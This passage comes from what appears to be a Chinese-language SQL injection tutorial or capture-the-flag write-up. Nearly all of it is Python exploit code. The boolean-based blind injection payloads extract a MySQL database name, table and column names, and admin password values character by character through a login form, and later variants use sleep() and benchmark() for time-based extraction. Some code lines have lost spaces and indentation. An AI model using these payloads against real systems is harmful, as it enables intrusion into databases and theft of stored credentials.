#xx= "' or if(substring((select database()) from %s for 1)='%s',0,1) and '1'='1"
#xx = "' or if(substring((select group_concat(table_name) from information_schema.columns where table_schema=database()) from %s for 1)='%s',0,1) and '1'='1"
#xx = "' or if(substring((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='admin') from %s for 1)='%s',0,1) and '1'='1"
xx = "' or if(substring((select group_concat(password) from admin) from %s for 1)='%s',0,1) and '1'='1"
data={'username':xx %(i,x),'password':'123'}
response = requests.post(url,data = data)
if response.content.find('用户名错误')>0:
return1
else :
return0
ans=''
print'star'
for i in range(1,100):
for x in payloads:
if exp(i,x)==1:
ans+=x
print ans
break
if x=='*':
print"over"
break
如果改成基于时间的盲注的话,则只需将上方的exp改成如下
1
2
3
4
5
6
7
8
9
10
11
defexp(i,x):
first_time=time.time()
xx="' or if(substring((select database()) from %s for 1)='%s',sleep(5),0)"
data={'username':xx %(i,x),'password':'123'}
#print data
response = requests.post(url,data = data)
next_time=time.time()
if (next_time-first_time) > 4:
return1
else :
return0
或者
1
2
3
4
5
6
7
8
9
10
11
12
13
14
def exp(i,x):
#xx = "' or if(substring((select database()) from %s for 1)='%s',benchmark(10000000,md5('test')),0) and '1'='1"
#xx = "' or if(substring((select group_concat(table_name) from information_schema.columns where table_schema=database()) from %s for 1)='%s',benchmark(10000000,md5('test')),0) and '1'='1"
#xx = "' or if(substring((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users233') from %s for 1)='%s',benchmark(10000000,md5('test')),0) and '1'='1"
xx = "' or if(substring((select group_concat(p4sswo3d) from users233) from %s for 1)='%s',benchmark(10000000,md5('test')),0) and '1'='1"